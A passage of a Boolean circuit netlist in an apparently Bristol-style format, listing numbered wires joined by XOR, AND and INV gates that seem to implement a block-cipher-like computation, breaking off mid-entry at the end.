+2 1 31167 31159 31211 XOR +2 1 31216 31168 31162 XOR +2 1 31148 31168 31122 XOR +2 1 31122 31147 31212 XOR +2 1 31153 31172 31121 XOR +2 1 33915 31121 31164 XOR +2 1 31219 31162 31118 XOR +2 1 33911 31118 31206 XOR +2 1 31214 31213 31210 AND +2 1 31210 31164 31205 XOR +2 1 31210 31212 31209 XOR +2 1 31211 31209 31208 AND +2 1 31208 31164 31207 XOR +2 1 31208 31220 31113 XOR +2 1 31113 31149 31109 XOR +2 1 33917 31109 31112 XOR +2 1 31208 31158 31110 XOR +2 1 33915 31109 31108 XOR +2 1 31205 31206 31204 AND +2 1 31204 31212 31203 XOR +2 1 31210 31204 31202 XOR +2 1 31204 31162 31117 XOR +2 1 31204 31221 31116 XOR +2 1 31116 31218 31111 XOR +2 1 31111 31112 31195 XOR +2 1 31212 31202 31201 AND +2 1 31201 31209 31199 XOR +2 1 31201 31219 31171 XOR +2 1 31171 31165 31193 XOR +2 1 33911 31171 31154 XOR +2 1 31154 31117 31200 XOR +2 1 31207 31199 31198 AND +2 1 31198 31167 31157 XOR +2 1 31157 31159 31197 XOR +2 1 31198 31222 31115 XOR +2 1 31154 31115 31107 XOR +2 1 31144 31107 31114 XOR +2 1 31111 31114 31196 XOR +2 1 31157 31110 31194 XOR +2 1 31107 31108 31192 XOR +2 1 31193 31230 31191 AND +2 1 31200 31229 31190 AND +2 1 31203 33910 31189 AND +2 1 31189 31191 31170 XOR +2 1 31194 31224 31188 AND +2 1 31197 31236 31187 AND +2 1 31187 31188 31173 XOR +2 1 31207 31226 31186 AND +2 1 31186 31187 31124 XOR +2 1 31195 31227 31185 AND +2 1 31192 31225 31184 AND +2 1 31184 31173 31163 XOR +2 1 31184 31187 31139 XOR +1 1 31139 31136 INV +2 1 31184 31185 31135 XOR +2 1 31185 31163 31123 XOR +2 1 31196 31228 31183 AND +2 1 31193 31234 31182 AND +2 1 31200 31231 31181 AND +2 1 31203 31235 31180 AND +2 1 31180 31163 31129 XOR +1 1 31129 31126 INV +2 1 31194 31239 31179 AND +2 1 31179 31183 31155 XOR +2 1 31188 31179 31140 XOR +1 1 31155 31133 INV +2 1 31197 31232 31178 AND +2 1 31186 31178 31142 XOR +2 1 31207 31233 31177 AND +2 1 31133 31177 31132 XOR +2 1 31132 31170 31128 XOR +2 1 31195 31238 31176 AND +2 1 31176 31128 31131 XOR +2 1 31192 31240 31175 AND +2 1 31175 31176 31169 XOR +2 1 31181 31169 31151 XOR +2 1 31182 31151 31152 XOR +2 1 31190 31152 31156 XOR +2 1 31191 31156 31161 XOR +2 1 31173 31161 35826 XOR +2 1 35826 35830 8918 XOR +2 1 8922 8918 8762 XOR +2 1 8793 8918 8790 XOR +1 1 35826 8765 INV +2 1 8765 35822 8780 XOR +2 1 8779 8780 35720 XOR +2 1 35720 586 34075 XOR +2 1 8790 8791 35711 XOR +2 1 35711 595 34066 XOR +2 1 31142 31169 31138 XOR +2 1 31170 31138 31141 XOR +2 1 31140 31141 31244 XOR +2 1 31133 31138 31137 XOR +2 1 31136 31137 31243 XOR +2 1 31161 31135 31242 XOR +2 1 31151 31128 31127 XOR +2 1 31126 31127 35824 XOR +2 1 35824 35828 8928 XOR +2 1 35824 35820 8663 XOR +2 1 8937 8928 8796 XOR +2 1 35815 8796 35709 XOR +2 1 35709 597 34064 XOR +2 1 34064 34066 28440 XOR +2 1 8928 33213 8810 XOR +2 1 8810 8811 35701 XOR +2 1 35701 605 34056 XOR +2 1 8930 8928 8770 XOR +2 1 31189 31156 31125 XOR +2 1 31124 31125 35825 XOR +2 1 35825 35829 8923 XOR +2 1 8985 8923 35702 XOR +2 1 35702 604 34057 XOR +2 1 35825 8653 8665 XOR +2 1 34057 34056 30140 XOR +2 1 8784 8923 8794 XOR +2 1 8766 8923 8763 XOR +2 1 8794 8795 35710 XOR +2 1 35710 596 34065 XOR +2 1 34065 34064 28320 XOR +2 1 31152 31123 35827 XOR +2 1 35827 35831 8897 XOR +2 1 35823 35827 8905 XOR +1 1 8905 8666 INV +2 1 8666 35830 8664 XOR +2 1 8905 33213 8660 XOR +2 1 8938 8897 8775 XOR +2 1 8938 8905 8785 XOR +2 1 33214 8785 35715 XOR +2 1 35715 591 34070 XOR +2 1 8916 8897 8805 XOR +2 1 35823 8805 35706 XOR +2 1 35706 600 34061 XOR +2 1 34061 34056 30257 XOR +2 1 8897 35825 8771 XOR +2 1 8770 8771 35726 XOR +2 1 35726 580 34081 XOR +2 1 8897 8765 8764 XOR +2 1 8763 8764 35727 XOR +2 1 35727 579 34082 XOR +2 1 8897 33135 8786 XOR +2 1 8786 8787 35714 XOR +2 1 35714 592 34069 XOR +2 1 34066 34069 28438 XOR +2 1 34069 34064 28437 XOR +2 1 8905 35829 8662 XOR +2 1 8662 8663 8980 XOR +2 1 8980 8930 35718 XOR +2 1 35718 588 34073 XOR +2 1 31196 31237 31174 AND +2 1 31185 31174 31134 XOR +1 1 31134 31130 INV +2 1 31130 31131 31241 XOR +2 1 8984 8918 35703 XOR +2 1 35703 603 34058 XOR +2 1 34058 34061 30258 XOR +2 1 34056 34058 30260 XOR +2 1 8664 8665 8979 XOR +2 1 8979 8926 35719 XOR +2 1 35719 587 34074 XOR +2 1 33246 32791 7919 XOR +2 1 7919 7920 8203 XOR +2 1 8203 8195 35475 XOR +2 1 35475 758 33903 XOR +2 1 33903 33904 8417 XOR +2 1 33903 8493 8489 XOR +2 1 8493 8489 8476 AND +2 1 33909 33903 8496 XOR +2 1 8417 8490 8488 XOR +2 1 33903 33905 8400 XOR +2 1 33904 8400 8402 XOR +2 1 8400 8363 8485 XOR +2 1 8494 8485 8472 AND +2 1 8400 8495 8487 XOR +2 1 33908 8402 8484 XOR +2 1 8495 8484 8474 AND +2 1 8473 8474 8376 XOR +2 1 33907 8402 8481 XOR +2 1 8496 8481 8477 AND +2 1 8477 8401 8405 XOR +2 1 33902 8487 8486 XOR +2 1 8488 8486 8479 AND +2 1 8473 8479 8424 XOR +2 1 8407 8402 8483 XOR +2 1 8490 8483 8475 AND +2 1 8472 8475 8425 XOR +2 1 8473 8425 8419 XOR +2 1 8405 8425 8379 XOR +2 1 8472 8478 8429 XOR +2 1 8429 8401 8416 XOR +2 1 8424 8416 8468 XOR +2 1 8474 8402 8404 XOR +2 1 8379 8404 8469 XOR +2 1 8495 8417 8491 XOR +2 1 8487 8491 8480 AND +2 1 8480 8403 8406 XOR +2 1 8406 8404 8410 XOR +2 1 8410 8429 8378 XOR +2 1 33907 8378 8421 XOR +2 1 33909 8410 8415 XOR +2 1 8424 8415 8471 XOR +2 1 8376 8377 8423 XOR +2 1 8423 8405 8422 XOR +2 1 8476 8422 8470 XOR +2 1 8471 8470 8467 AND +2 1 8467 8421 8462 XOR +2 1 8467 8469 8466 XOR +2 1 8468 8466 8465 AND +2 1 8465 8421 8464 XOR +2 1 8465 8477 8370 XOR +2 1 8370 8406 8366 XOR +2 1 33907 8366 8365 XOR +2 1 33909 8366 8369 XOR +2 1 8464 8490 8434 AND +2 1 8464 8483 8443 AND +2 1 8465 8415 8367 XOR +2 1 8476 8419 8375 XOR +2 1 33903 8375 8463 XOR +2 1 8462 8463 8461 AND +2 1 8461 8478 8373 XOR +2 1 8373 8475 8368 XOR +2 1 8368 8369 8452 XOR +2 1 8452 8484 8442 AND +2 1 8452 8495 8433 AND +2 1 8461 8419 8374 XOR +2 1 8461 8469 8460 XOR +2 1 8460 8492 8437 AND +2 1 8460 33902 8446 AND +2 1 8467 8461 8459 XOR +2 1 8469 8459 8458 AND +2 1 8458 8466 8456 XOR +2 1 8464 8456 8455 AND +2 1 8455 8479 8372 XOR +2 1 8458 8476 8428 XOR +2 1 33903 8428 8411 XOR +2 1 8411 8374 8457 XOR +2 1 8457 8488 8438 AND +2 1 8457 8486 8447 AND +2 1 8411 8372 8364 XOR +2 1 8364 8365 8449 XOR +2 1 8449 8497 8432 AND +2 1 8449 8482 8441 AND +2 1 8401 8364 8371 XOR +2 1 8368 8371 8453 XOR +2 1 8453 8485 8440 AND +2 1 8453 8494 8431 AND +2 1 8442 8431 8391 XOR +2 1 8428 8422 8450 XOR +2 1 8450 8487 8448 AND +2 1 8450 8491 8439 AND +2 1 8432 8433 8426 XOR +2 1 8438 8426 8408 XOR +2 1 8439 8408 8409 XOR +2 1 8447 8409 8413 XOR +2 1 8446 8413 8382 XOR +2 1 8448 8413 8418 XOR +2 1 8441 8442 8392 XOR +2 1 8418 8392 8499 XOR +1 1 8499 35841 INV +2 1 33188 35841 8925 XOR +2 1 8925 33216 8723 XOR +1 1 8723 8721 INV +2 1 8499 33187 8748 XOR +2 1 8925 8921 8705 XOR +2 1 8925 8896 8732 XOR +2 1 35835 8732 35746 XOR +2 1 35746 560 34101 XOR +2 1 8747 8748 8746 XOR +1 1 8746 35737 INV +2 1 35737 569 34092 XOR +1 1 8391 8387 INV +2 1 8455 8424 8414 XOR +2 1 8414 8367 8451 XOR +2 1 8451 8481 8445 AND +2 1 8451 8496 8436 AND +2 1 8436 8440 8412 XOR +2 1 8414 8416 8454 XOR +2 1 8454 8489 8435 AND +2 1 8454 8493 8444 AND +2 1 8443 8435 8399 XOR +2 1 8444 8445 8430 XOR +2 1 8441 8430 8420 XOR +2 1 8442 8420 8380 XOR +2 1 8430 8418 35839 XOR +2 1 35839 35833 8674 XOR +2 1 8673 8674 8976 XOR +2 1 35834 35839 8939 XOR +1 1 8939 8709 INV +2 1 8709 8936 8707 XOR +2 1 8707 8708 35759 XOR +2 1 35759 547 34114 XOR +2 1 8939 8921 8734 XOR +2 1 33187 8734 35744 XOR +2 1 35744 562 34099 XOR +2 1 34099 34101 28204 XOR +2 1 35845 35839 8725 XOR +2 1 8441 8444 8396 XOR +2 1 8443 8444 8381 XOR +2 1 8437 8420 8386 XOR +1 1 8386 8383 INV +2 1 8445 8436 8397 XOR +1 1 8412 8390 INV +1 1 8396 8393 INV +2 1 8409 8380 35842 XOR +2 1 35842 35846 8903 XOR +2 1 35835 35842 8899 XOR +2 1 8958 8899 8743 XOR +2 1 33182 8743 35739 XOR +2 1 35739 567 34094 XOR +2 1 8903 33209 8675 XOR +1 1 8903 8680 INV +2 1 8680 35849 8681 XOR +2 1 8680 35848 8677 XOR +2 1 8390 8434 8389 XOR +2 1 8399 8426 8395 XOR +2 1 8390 8395 8394 XOR +2 1 8393 8394 8500 XOR +1 1 8500 35836 INV +2 1 8500 33182 8668 XOR +2 1 8667 8668 8978 XOR +2 1 8978 8950 35732 XOR +2 1 35732 574 34087 XOR +2 1 33189 8500 8727 XOR +2 1 8381 8382 35838 XOR +2 1 35833 35838 8947 XOR +1 1 8947 8712 INV +2 1 8712 8927 8735 XOR +1 1 35838 8672 INV +2 1 8672 35832 8671 XOR +2 1 8670 8671 8977 XOR +2 1 8977 8936 35734 XOR +2 1 35734 572 34089 XOR +2 1 35844 8672 8682 XOR +2 1 8681 8682 8973 XOR +2 1 8973 8939 35751 XOR +2 1 35751 555 34106 XOR +2 1 34087 34089 29883 XOR +2 1 8712 8946 8710 XOR +2 1 8710 8711 35758 XOR +2 1 35758 548 34113 XOR +2 1 8446 8448 8427 XOR +2 1 8427 8395 8398 XOR +2 1 8397 8398 8501 XOR +2 1 8389 8427 8385 XOR +2 1 8408 8385 8384 XOR +2 1 8383 8384 35837 XOR +2 1 35832 35837 8954 XOR +1 1 35837 8679 INV +2 1 35843 8679 8678 XOR +2 1 8679 33181 8756 XOR +2 1 8755 8756 35733 XOR +2 1 8677 8678 8974 XOR +1 1 8954 8728 INV +2 1 8728 35847 8726 XOR +2 1 8726 8727 35749 XOR +2 1 35749 557 34104 XOR +2 1 34104 34106 29840 XOR +2 1 8728 8936 8737 XOR +2 1 8433 8385 8388 XOR +2 1 8387 8388 8498 XOR +1 1 8498 35840 INV +2 1 33187 35840 8932 XOR +2 1 8932 8910 8733 XOR +2 1 33188 8733 35745 XOR +2 1 35745 561 34100 XOR +2 1 34094 34100 28210 XOR +2 1 28204 28210 28293 XOR +2 1 34099 28210 28296 XOR +2 1 8498 35834 8753 XOR +2 1 8752 8753 35736 XOR +2 1 35736 570 34091 XOR +2 1 33195 8498 8722 XOR +2 1 8721 8722 35753 XOR +2 1 35753 553 34108 XOR +2 1 34106 34108 29746 XOR +2 1 8932 33215 8724 XOR +2 1 8724 8725 35752 XOR +2 1 35752 554 34107 XOR +2 1 29746 34107 29705 XOR +2 1 8932 8927 8706 XOR +2 1 33195 8706 35760 XOR +2 1 35760 546 34115 XOR +2 1 8976 8927 35735 XOR +2 1 35735 571 34090 XOR +2 1 34090 34092 29886 XOR +2 1 29886 34091 29845 XOR +2 1 33181 35836 8961 XOR +2 1 8961 8958 8717 XOR +1 1 8717 8715 INV +2 1 8715 8716 35756 XOR +2 1 35756 550 34111 XOR +2 1 34111 34113 26803 XOR +2 1 8961 8946 8739 XOR +2 1 35832 8739 35741 XOR +2 1 35741 565 34096 XOR +2 1 34101 34096 28297 XOR +2 1 8954 8950 8713 XOR +2 1 35843 8713 35757 XOR +2 1 35757 549 34112 XOR +2 1 34112 26803 26805 XOR +2 1 34115 26805 26884 XOR +2 1 34111 34112 26820 XOR +2 1 34112 34114 26900 XOR +2 1 34113 34112 26780 XOR +2 1 33196 8705 35761 XOR +2 1 35761 545 34116 XOR +2 1 34116 26805 26887 XOR +2 1 34114 34116 26806 XOR +2 1 26806 34115 26765 XOR +2 1 8910 8899 8704 XOR +2 1 35846 8704 35762 XOR +2 1 35762 544 34117 XOR +2 1 34115 34117 26804 XOR +2 1 26804 26900 26885 XOR +2 1 34114 34117 26898 XOR +2 1 26898 26820 26894 XOR +2 1 26803 26898 26890 XOR +2 1 26806 26804 26766 XOR +2 1 26803 26766 26888 XOR +2 1 34117 34111 26899 XOR +2 1 34117 34112 26897 XOR +2 1 26890 26894 26883 AND +2 1 26883 26806 26809 XOR +2 1 26899 26884 26880 AND +2 1 26880 26804 26808 XOR +2 1 26898 26887 26877 AND +2 1 26877 26805 26807 XOR +2 1 26809 26807 26813 XOR +2 1 34117 26813 26818 XOR +2 1 26900 26885 26876 AND +2 1 26876 26877 26779 XOR +2 1 26779 26780 26826 XOR +2 1 26826 26808 26825 XOR +2 1 26897 26888 26875 AND +2 1 33196 8499 8720 XOR +2 1 35733 573 34088 XOR +2 1 34088 29883 29885 XOR +2 1 34092 29885 29967 XOR +2 1 34091 29885 29964 XOR +2 1 34087 34088 29900 XOR +2 1 34088 34090 29980 XOR +2 1 34089 34088 29860 XOR +1 1 8501 32811 INV +2 1 33182 32811 8962 XOR +2 1 8962 8896 8718 XOR +2 1 8962 8950 8741 XOR +2 1 33190 32811 8676 XOR +2 1 8962 8903 8729 XOR +2 1 8675 8676 8975 XOR +2 1 8975 8961 35748 XOR +2 1 35748 558 34103 XOR +2 1 33210 8729 35747 XOR +2 1 34103 34104 29760 XOR +2 1 33190 8718 35755 XOR +2 1 35755 551 34110 XOR +2 1 34110 26890 26889 XOR +2 1 34110 34116 26810 XOR +2 1 26810 26805 26886 XOR +2 1 26804 26810 26893 XOR +2 1 26820 26893 26891 XOR +2 1 34115 26810 26896 XOR +2 1 34111 26896 26892 XOR +2 1 34110 26765 26895 XOR +2 1 26891 26889 26882 AND +2 1 26876 26882 26827 XOR +2 1 26827 26818 26874 XOR +2 1 26895 34110 26881 AND +2 1 26875 26881 26832 XOR +2 1 26832 26804 26819 XOR +2 1 26827 26819 26871 XOR +2 1 26813 26832 26781 XOR +2 1 34115 26781 26824 XOR +2 1 26896 26892 26879 AND +2 1 26879 26825 26873 XOR +2 1 26893 26886 26878 AND +2 1 26875 26878 26828 XOR +2 1 26876 26828 26822 XOR +2 1 26808 26828 26782 XOR +2 1 26782 26807 26872 XOR +2 1 26879 26822 26778 XOR +2 1 34111 26778 26866 XOR +2 1 26874 26873 26870 AND +2 1 26870 26824 26865 XOR +2 1 26870 26872 26869 XOR +2 1 26871 26869 26868 AND +2 1 26868 26824 26867 XOR +2 1 26868 26880 26773 XOR +2 1 26773 26809 26769 XOR +2 1 34117 26769 26772 XOR +2 1 26868 26818 26770 XOR +2 1 34115 26769 26768 XOR +2 1 26865 26866 26864 AND +2 1 26864 26872 26863 XOR +2 1 26870 26864 26862 XOR +2 1 26864 26822 26777 XOR +2 1 26864 26881 26776 XOR +2 1 26776 26878 26771 XOR +2 1 26771 26772 26855 XOR +2 1 26872 26862 26861 AND +2 1 26861 26869 26859 XOR +2 1 26861 26879 26831 XOR +2 1 26831 26825 26853 XOR +2 1 34111 26831 26814 XOR +2 1 26814 26777 26860 XOR +2 1 26867 26859 26858 AND +2 1 26858 26827 26817 XOR +2 1 26817 26819 26857 XOR +2 1 26858 26882 26775 XOR +2 1 26814 26775 26767 XOR +2 1 26804 26767 26774 XOR +2 1 26771 26774 26856 XOR +2 1 26817 26770 26854 XOR +2 1 26767 26768 26852 XOR +2 1 26853 26890 26851 AND +2 1 26860 26889 26850 AND +2 1 26863 34110 26849 AND +2 1 26849 26851 26830 XOR +2 1 26854 26884 26848 AND +2 1 26857 26896 26847 AND +2 1 26847 26848 26833 XOR +2 1 26867 26886 26846 AND +2 1 26846 26847 26784 XOR +2 1 26855 26887 26845 AND +2 1 26852 26885 26844 AND +2 1 26844 26833 26823 XOR +2 1 26844 26847 26799 XOR +1 1 26799 26796 INV +2 1 26844 26845 26795 XOR +2 1 26845 26823 26783 XOR +2 1 26856 26888 26843 AND +2 1 26853 26894 26842 AND +2 1 26860 26891 26841 AND +2 1 26863 26895 26840 AND +2 1 26840 26823 26789 XOR +1 1 26789 26786 INV +2 1 26854 26899 26839 AND +2 1 26839 26843 26815 XOR +2 1 26848 26839 26800 XOR +1 1 26815 26793 INV +2 1 26857 26892 26838 AND +2 1 26846 26838 26802 XOR +2 1 26867 26893 26837 AND +2 1 26793 26837 26792 XOR +2 1 26792 26830 26788 XOR +2 1 26855 26898 26836 AND +2 1 26836 26788 26791 XOR +2 1 26852 26900 26835 AND +2 1 26835 26836 26829 XOR +2 1 26841 26829 26811 XOR +2 1 26842 26811 26812 XOR +2 1 26850 26812 26816 XOR +2 1 26851 26816 26821 XOR +2 1 26833 26821 36050 XOR +2 1 26802 26829 26798 XOR +2 1 26830 26798 26801 XOR +2 1 26800 26801 26904 XOR +2 1 26793 26798 26797 XOR +2 1 26796 26797 26903 XOR +2 1 26821 26795 26902 XOR +2 1 26811 26788 26787 XOR +2 1 26786 26787 36048 XOR +2 1 26849 26816 26785 XOR +2 1 26784 26785 36049 XOR +2 1 26812 26783 36051 XOR +2 1 26856 26897 26834 AND +2 1 26845 26834 26794 XOR +1 1 26794 26790 INV +2 1 26790 26791 26901 XOR +2 1 32811 8758 35731 XOR +2 1 35731 575 34086 XOR +2 1 34086 34092 29890 XOR +2 1 29890 29885 29966 XOR +2 1 34091 29890 29976 XOR +2 1 34087 29976 29972 XOR +2 1 34086 29845 29975 XOR +2 1 29975 34086 29961 AND +2 1 29976 29972 29959 AND +2 1 8974 8947 35750 XOR +2 1 35750 556 34105 XOR +2 1 34103 34105 29743 XOR +2 1 34104 29743 29745 XOR +2 1 34108 29745 29827 XOR +2 1 34107 29745 29824 XOR +2 1 34105 34104 29720 XOR +1 1 26904 33093 INV +1 1 26901 33098 INV +1 1 26902 33099 INV +1 1 26903 33100 INV +2 1 35842 33188 8745 XOR +2 1 8744 8745 35738 XOR +2 1 35738 568 34093 XOR +2 1 34091 34093 29884 XOR +2 1 29884 29980 29965 XOR +2 1 34090 34093 29978 XOR +2 1 29978 29900 29974 XOR +2 1 29884 29890 29973 XOR +2 1 29900 29973 29971 XOR +2 1 29883 29978 29970 XOR +2 1 34086 29970 29969 XOR +2 1 29886 29884 29846 XOR +2 1 29883 29846 29968 XOR +2 1 34093 34087 29979 XOR +2 1 34093 34088 29977 XOR +2 1 29970 29974 29963 AND +2 1 29963 29886 29889 XOR +2 1 29971 29969 29962 AND +2 1 29979 29964 29960 AND +2 1 29960 29884 29888 XOR +2 1 29973 29966 29958 AND +2 1 29978 29967 29957 AND +2 1 29957 29885 29887 XOR +2 1 29889 29887 29893 XOR +2 1 34093 29893 29898 XOR +2 1 29980 29965 29956 AND +2 1 29956 29962 29907 XOR +2 1 29907 29898 29954 XOR +2 1 29956 29957 29859 XOR +2 1 29859 29860 29906 XOR +2 1 29906 29888 29905 XOR +2 1 29959 29905 29953 XOR +2 1 29977 29968 29955 AND +2 1 29955 29958 29908 XOR +2 1 29955 29961 29912 XOR +2 1 29912 29884 29899 XOR +2 1 29907 29899 29951 XOR +2 1 29956 29908 29902 XOR +2 1 29888 29908 29862 XOR +2 1 29862 29887 29952 XOR +2 1 29893 29912 29861 XOR +2 1 34091 29861 29904 XOR +2 1 29959 29902 29858 XOR +2 1 34087 29858 29946 XOR +2 1 29954 29953 29950 AND +2 1 29950 29904 29945 XOR +2 1 29950 29952 29949 XOR +2 1 29951 29949 29948 AND +2 1 29948 29904 29947 XOR +2 1 29948 29960 29853 XOR +2 1 29853 29889 29849 XOR +2 1 34093 29849 29852 XOR +2 1 29948 29898 29850 XOR +2 1 34091 29849 29848 XOR +2 1 29945 29946 29944 AND +2 1 29944 29952 29943 XOR +2 1 29950 29944 29942 XOR +2 1 29944 29902 29857 XOR +2 1 29944 29961 29856 XOR +2 1 29856 29958 29851 XOR +2 1 29851 29852 29935 XOR +2 1 29952 29942 29941 AND +2 1 29941 29949 29939 XOR +2 1 29941 29959 29911 XOR +2 1 29911 29905 29933 XOR +2 1 34087 29911 29894 XOR +2 1 29894 29857 29940 XOR +2 1 29947 29939 29938 AND +2 1 29938 29907 29897 XOR +2 1 29897 29899 29937 XOR +2 1 29938 29962 29855 XOR +2 1 29894 29855 29847 XOR +2 1 29884 29847 29854 XOR +2 1 29851 29854 29936 XOR +2 1 29897 29850 29934 XOR +2 1 29847 29848 29932 XOR +2 1 29933 29970 29931 AND +2 1 29940 29969 29930 AND +2 1 29943 34086 29929 AND +2 1 29929 29931 29910 XOR +2 1 29934 29964 29928 AND +2 1 29937 29976 29927 AND +2 1 29927 29928 29913 XOR +2 1 29947 29966 29926 AND +2 1 29926 29927 29864 XOR +2 1 29935 29967 29925 AND +2 1 29932 29965 29924 AND +2 1 29924 29913 29903 XOR +2 1 29924 29927 29879 XOR +1 1 29879 29876 INV +2 1 29924 29925 29875 XOR +2 1 29925 29903 29863 XOR +2 1 29936 29968 29923 AND +2 1 29933 29974 29922 AND +2 1 29940 29971 29921 AND +2 1 29943 29975 29920 AND +2 1 29920 29903 29869 XOR +1 1 29869 29866 INV +2 1 29934 29979 29919 AND +2 1 29919 29923 29895 XOR +2 1 29928 29919 29880 XOR +1 1 29895 29873 INV +2 1 29937 29972 29918 AND +2 1 29926 29918 29882 XOR +2 1 29947 29973 29917 AND +2 1 29873 29917 29872 XOR +2 1 29872 29910 29868 XOR +2 1 29935 29978 29916 AND +2 1 29916 29868 29871 XOR +2 1 29932 29980 29915 AND +2 1 29915 29916 29909 XOR +2 1 29921 29909 29891 XOR +2 1 29922 29891 29892 XOR +2 1 29930 29892 29896 XOR +2 1 29931 29896 29901 XOR +2 1 29913 29901 36018 XOR +2 1 29882 29909 29878 XOR +2 1 29910 29878 29881 XOR +2 1 29880 29881 29984 XOR +2 1 29873 29878 29877 XOR +2 1 29876 29877 29983 XOR +2 1 29901 29875 29982 XOR +2 1 29891 29868 29867 XOR +2 1 29866 29867 36016 XOR +2 1 29929 29896 29865 XOR +2 1 29864 29865 36017 XOR +2 1 29892 29863 36019 XOR +2 1 29936 29977 29914 AND +2 1 29925 29914 29874 XOR +1 1 29874 29870 INV +2 1 29870 29871 29981 XOR +1 1 29984 33161 INV +1 1 29981 33166 INV +1 1 29982 33167 INV +2 1 36019 33167 9274 XOR +1 1 29983 33168 INV +1 1 31243 33197 INV +2 1 33197 33213 8931 XOR +2 1 8986 8931 35700 XOR +2 1 35700 606 34055 XOR +2 1 34055 34057 30163 XOR +2 1 34056 30163 30165 XOR +2 1 30163 30258 30250 XOR +2 1 34055 34056 30180 XOR +2 1 30258 30180 30254 XOR +2 1 34061 34055 30259 XOR +2 1 30250 30254 30243 AND +2 1 33197 28723 8783 XOR +2 1 8782 8783 35717 XOR +2 1 35717 589 34072 XOR +2 1 34072 34074 30120 XOR +2 1 34073 34072 30000 XOR +2 1 8933 8931 8772 XOR +2 1 35824 8772 35725 XOR +2 1 35725 581 34080 XOR +2 1 8897 33197 8774 XOR +2 1 8938 8931 8798 XOR +2 1 8798 8799 8797 XOR +1 1 8797 35708 INV +2 1 35708 598 34063 XOR +2 1 34063 34065 28343 XOR +2 1 34064 28343 28345 XOR +2 1 28343 28438 28430 XOR +2 1 34063 34064 28360 XOR +2 1 28438 28360 28434 XOR +2 1 34069 34063 28439 XOR +2 1 28430 28434 28423 AND +2 1 34081 34080 9006 XOR +2 1 34080 34082 9126 XOR +1 1 31244 33198 INV +2 1 33198 8775 35723 XOR +2 1 35723 583 34078 XOR +2 1 33198 33136 8661 XOR +2 1 8660 8661 8981 XOR +2 1 33198 33214 8935 XOR +2 1 8935 8898 8800 XOR +2 1 33047 8800 35707 XOR +2 1 35707 599 34062 XOR +2 1 34062 28430 28429 XOR +2 1 8937 8935 8773 XOR +2 1 8773 8774 35724 XOR +2 1 35724 582 34079 XOR +2 1 8935 8907 8812 XOR +2 1 33136 8812 35699 XOR +2 1 35699 607 34054 XOR +2 1 34054 30250 30249 XOR +2 1 34079 34081 9029 XOR +2 1 34079 34080 9046 XOR +2 1 34080 9029 9031 XOR +2 1 8981 8937 35716 XOR +2 1 35716 590 34071 XOR +2 1 34071 34073 30023 XOR +2 1 34072 30023 30025 XOR +2 1 34075 30025 30104 XOR +2 1 34071 34072 30040 XOR +1 1 31241 33203 INV +2 1 33203 33219 8913 XOR +2 1 8913 35830 8808 XOR +2 1 8926 8913 8789 XOR +2 1 33203 8762 35728 XOR +2 1 35728 578 34083 XOR +2 1 8808 8809 35704 XOR +2 1 35704 602 34059 XOR +2 1 34059 30165 30244 XOR +2 1 34059 34061 30164 XOR +2 1 30164 30260 30245 XOR +2 1 30259 30244 30240 AND +2 1 30240 30164 30168 XOR +2 1 30260 30245 30236 AND +2 1 8916 33203 8777 XOR +2 1 8777 8778 35721 XOR +2 1 35721 585 34076 XOR +2 1 34076 30025 30107 XOR +2 1 34074 34076 30026 XOR +2 1 34070 34076 30030 XOR +2 1 30030 30025 30106 XOR +2 1 34075 30030 30116 XOR +2 1 34071 30116 30112 XOR +2 1 30026 34075 29985 XOR +2 1 34070 29985 30115 XOR +2 1 30115 34070 30101 AND +2 1 30116 30112 30099 AND +2 1 33052 8789 35712 XOR +2 1 35712 594 34067 XOR +2 1 34067 28345 28424 XOR +2 1 34067 34069 28344 XOR +2 1 28344 28440 28425 XOR +2 1 28439 28424 28420 AND +2 1 28420 28344 28348 XOR +2 1 28440 28425 28416 AND +2 1 34083 9031 9110 XOR +1 1 31242 33204 INV +2 1 33135 33204 8915 XOR +2 1 8915 33220 8806 XOR +2 1 8806 8807 35705 XOR +2 1 35705 601 34060 XOR +2 1 34060 30165 30247 XOR +2 1 34058 34060 30166 XOR +2 1 30243 30166 30169 XOR +2 1 34054 34060 30170 XOR +2 1 30170 30165 30246 XOR +2 1 30164 30170 30253 XOR +2 1 30180 30253 30251 XOR +2 1 34059 30170 30256 XOR +2 1 34055 30256 30252 XOR +2 1 30166 30164 30126 XOR +2 1 30163 30126 30248 XOR +2 1 30166 34059 30125 XOR +2 1 34054 30125 30255 XOR +2 1 30251 30249 30242 AND +2 1 30236 30242 30187 XOR +2 1 30255 34054 30241 AND +2 1 30256 30252 30239 AND +2 1 30253 30246 30238 AND +2 1 30258 30247 30237 AND +2 1 30237 30165 30167 XOR +2 1 30169 30167 30173 XOR +2 1 34061 30173 30178 XOR +2 1 30187 30178 30234 XOR +2 1 30236 30237 30139 XOR +2 1 30139 30140 30186 XOR +2 1 30186 30168 30185 XOR +2 1 30239 30185 30233 XOR +2 1 30257 30248 30235 AND +2 1 30235 30238 30188 XOR +2 1 30235 30241 30192 XOR +2 1 30192 30164 30179 XOR +2 1 30187 30179 30231 XOR +2 1 30236 30188 30182 XOR +2 1 30168 30188 30142 XOR +2 1 30142 30167 30232 XOR +2 1 30173 30192 30141 XOR +2 1 34059 30141 30184 XOR +2 1 30239 30182 30138 XOR +2 1 34055 30138 30226 XOR +2 1 30234 30233 30230 AND +2 1 30230 30184 30225 XOR +2 1 30230 30232 30229 XOR +2 1 30231 30229 30228 AND +2 1 30228 30184 30227 XOR +2 1 30228 30240 30133 XOR +2 1 30133 30169 30129 XOR +2 1 34061 30129 30132 XOR +2 1 30228 30178 30130 XOR +2 1 34059 30129 30128 XOR +2 1 30225 30226 30224 AND +2 1 30224 30232 30223 XOR +2 1 30230 30224 30222 XOR +2 1 30224 30182 30137 XOR +2 1 30224 30241 30136 XOR +2 1 30136 30238 30131 XOR +2 1 30131 30132 30215 XOR +2 1 30232 30222 30221 AND +2 1 30221 30229 30219 XOR +2 1 30221 30239 30191 XOR +2 1 30191 30185 30213 XOR +2 1 34055 30191 30174 XOR +2 1 30174 30137 30220 XOR +2 1 30227 30219 30218 AND +2 1 30218 30187 30177 XOR +2 1 30177 30179 30217 XOR +2 1 30218 30242 30135 XOR +2 1 30174 30135 30127 XOR +2 1 30164 30127 30134 XOR +2 1 30131 30134 30216 XOR +2 1 30177 30130 30214 XOR +2 1 30127 30128 30212 XOR +2 1 30213 30250 30211 AND +2 1 30220 30249 30210 AND +2 1 30223 34054 30209 AND +2 1 30209 30211 30190 XOR +2 1 30214 30244 30208 AND +2 1 30217 30256 30207 AND +2 1 30207 30208 30193 XOR +2 1 30227 30246 30206 AND +2 1 30206 30207 30144 XOR +2 1 30215 30247 30205 AND +2 1 